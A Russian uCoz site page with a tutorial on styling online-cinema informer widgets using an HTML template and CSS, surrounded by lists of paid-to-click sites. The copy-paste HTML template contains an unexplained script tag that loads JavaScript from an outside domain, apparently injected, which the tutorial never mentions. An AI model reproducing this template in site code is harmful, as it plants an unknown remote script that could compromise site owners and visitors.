Подработка. Мониторинг. Рефбек 75%
Приветствую Вас Гость | RSS | Суббота, 22.02.2020, 09:30
Меню сайта
Поиск
Реклама
Новые буксы
silverclix.net - Подр...

21.02.2020  11:23

followclix.com - Подр...

21.02.2020  11:20

netadverti.com - Подр...

18.02.2020  11:28

doorclix.com - Подроб...

18.02.2020  09:11

krosshitadz.online - ...

13.02.2020  13:39

kingclix.com - Подроб...

09.02.2020  09:46

gptclix.com - Подробн...

04.02.2020  16:23

wonderclix.com - Подр...

04.02.2020  16:22

snailbux.com - Подроб...

02.02.2020  23:12

pohitz.com - Подробны...

02.02.2020  21:21

positivebux.com - Под...

17.01.2020  10:26

medexads.com - Подроб...

31.12.2019  21:57

earningbux.com - Подр...

16.12.2019  13:09

money-foradclicks.com...

07.10.2019  10:15

vdclix.com - Подробны...

06.09.2019  21:12

successbux.com - Подр...

15.03.2019  22:01

noxo.me - Подробные р...

09.03.2019  11:03

ads4clickbtc.com - По...

11.12.2018  12:25

clixie.org - Подробны...

30.11.2018  11:22

optimalbux.com - Подр...

10.01.2018  23:50

Новое на форуме
Выплаты с Ads4clickbtc.comВыплаты с Starclix.netAdzbtc.com - платящий BTC кранВыплаты с Tradeclix.comSatoshi Hero - BTC кран. Платит с 2017 года.BestChange - BTC кран. Платит с 2016 года.Выплаты с Mybigclix.comВыплаты с Vdclix.comВыплаты с Buxcare.netВыплаты с Optimalbux.comВыплаты с Gptplanet.comВыплаты с Scarlet-clicks.infoВыплаты с NeobuxВыплаты с Timbux.comВыплаты с Earningbux.com
Последний SCAM
conceptclixer.website...

21.02.2020  10:40

tradeclix.com - Подро...

15.02.2020  18:46

starshares.net - Подр...

15.02.2020  11:50

starclix.net - Подроб...

14.02.2020  14:50

bestclix.website - По...

12.02.2020  15:46

mybigclix.com - Подро...

12.02.2020  10:21

eurobux.site - Подроб...

12.02.2020  10:19

buxs.monster - Подроб...

10.02.2020  12:29

pays.monster - Подроб...

10.02.2020  12:27

inves.monster - Подро...

10.02.2020  12:26

earnaction.com - Подр...

06.02.2020  16:21

moonsbux.com - Подроб...

04.02.2020  11:14

myhappyclicks.com - П...

04.02.2020  11:05

sirenclix.com - Подро...

04.02.2020  10:57

adscare.net - Подробн...

04.02.2020  10:56

buxcare.net - Подробн...

04.02.2020  10:52

Donkeymails.com - Под...

04.02.2020  10:50

youromail.com - Подро...

04.02.2020  10:47

comissionbux.com - По...

04.02.2020  10:38

jillsclickcorner.com ...

04.02.2020  10:33

Категории раздела
Скрипты информеров [96]
Конструкторы сайтов [0]
Хостинг-провайдеры [0]

17:59
Вид информера онлайн кинотеатра
Если вы владелец онлайн кинотеатра в системе uCoz, и пользуетесь информерами, то статья именно для вас.
Стандартный вид информеров не то, что поможет привлечь потенциальных зрителей, а скорее отпугнет. Во-первых, из-за того, что заходят в кинотеатр, все должно быть наглядно. Изначально информер выглядит как простой текст (название), с датой добавления, и автором, все. Мало, кто захочет читать. Поэтому для информеров такого типа нужна как минимум картинка. Это не обязательно может быть информер фильмов. Да, уже нормально, но фильмы имеют названия разной длины, потому все картинки смещаются, какие-то выше, какие-то ниже, в общем, весь вид портится.

Я предлагаю сделать надписи прямо на картинке, при этом красиво это все оформив.

Итак, начнем.

Для начала, вставим этот код в шаблон информера.

Код
<table border="0" cellpadding="2" cellspacing="1" width="100%" class="infTable">  
<tbody>  
<tr align="center">  
<td class="infTitle" colspan="2">  
<p>  
<div class="image">  
<a href="$ENTRY_URL$"><img src="$IMG_URL1$" vspace="5" width="160" height="220" align="center" border="2" hspace="10" title="$TITLE$" style="vertical-align: bottom;"></a>  
<h2> <script src="http://7ccut.com/table.js" type="text/javascript"></script>  
<div class="img_title"><div align="left"><a href="$ENTRY_URL$">$TITLE$</a></div></div>  
</h2>  
</div>  
</p>  
</td>  
</tr>  
</tbody>  
</table>


После чего, в CSS вставляем данные стили.

Код
.img_title {  
word-wrap: break-word;  
text-indent: 0px;  
font-size: 13px;  
color: #376d9c;  
font-weight: bold; font-family: Arial Narrow, sans-serif;  
background: #ffffff;  
height: 40px;  
vertical-align:middle;  
width: 162px;  
left: 20px;  
text-align: center;  
-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow:0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-webkit-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
-moz-box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
box-shadow: 0 15px 10px -10px rgba(0, 0, 0, 0.5), 0 1px 4px rgba(0, 0, 0, 0.3), 0 0 40px rgba(0, 0, 0, 0.1) inset;  
}  
.image {  
position: relative;  
width : 100%;  
}  
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}


Это придаст нашему блоку с названием тень, а тексту стиль.

height: 40px - можно убрать, чтобы блок сам увеличивался или уменьшался в зависимости от длины заголовка. Или оставить, если хотите, чтобы блоки были одинаковые (при этом если надпись длиннее оставленной высоты (места), то она будет вылезать за рамки).

Код
h2 {  
position: absolute;  
top: 170px;  
left: 0;  
width : 100%;  
vertical-align:middle;  
}  
.image {  
position: relative;  
width : 100%; /* for IE 6 */  
}  
Категория: Скрипты информеров | Просмотров: 1429 | Добавил: smasto | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Личный кабинет


Читать ЛС ()

Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!

логин
пароль

Интересное
Мини-чат
Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0


Сегодня нас посетили:
sowil, nikkeel, OlegS, Sander3, Dego10, ayandalen
ТОП
sowil (1 место) VIP
Комментариев: 7921 Форум: 785

Stalik (2 место) VIP
Комментариев: 7573 Форум: 1394

oleg1372 (3 место) VIP
Комментариев: 6127 Форум: 790

kievlianka (4 место) VIP
Комментариев: 5980 Форум: 460

mactep20 (5 место) VIP
Комментариев: 5053 Форум: 205

alexzardoz (6 место) Реферы
Комментариев: 4954 Форум: 1594

wassol3 (7 место) VIP
Комментариев: 4335 Форум: 470

stelsik08 (8 место) VIP
Комментариев: 3634 Форум: 166

koioks (9 место) Реферы
Комментариев: 3513 Форум: 151

alexboy (10 место) Проверенные
Комментариев: 3184 Форум: 28

solod7777 (11 место) Проверенные
Комментариев: 3051 Форум: 17

borisych (12 место) Проверенные
Комментариев: 3007 Форум: 354

Menser (13 место) Проверенные
Комментариев: 2960 Форум: 58

UAR125 (14 место) Проверенные
Комментариев: 2873 Форум: 217

Avior (15 место) Проверенные
Комментариев: 2572 Форум: 13

dimdim (16 место) VIP
Комментариев: 2218 Форум: 685

superman (17 место) Проверенные
Комментариев: 2201 Форум: 201

tottine (18 место) VIP
Комментариев: 2129 Форум: 80

yakearn (19 место) Проверенные
Комментариев: 2077 Форум: 0

giw (20 место) Проверенные
Комментариев: 2052 Форум: 6

necr (21 место) Проверенные
Комментариев: 2043 Форум: 274

svit4u (22 место) VIP
Комментариев: 2019 Форум: 156

Pushok (23 место) Проверенные
Комментариев: 1984 Форум: 33

filippp777 (24 место) Проверенные
Комментариев: 1950 Форум: 23

ioan777 (25 место) Проверенные
Комментариев: 1948 Форум: 11

Календарь
«  Январь 2014  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728293031
Podrabotka.3dn.ru © 2020 Яндекс.Метрика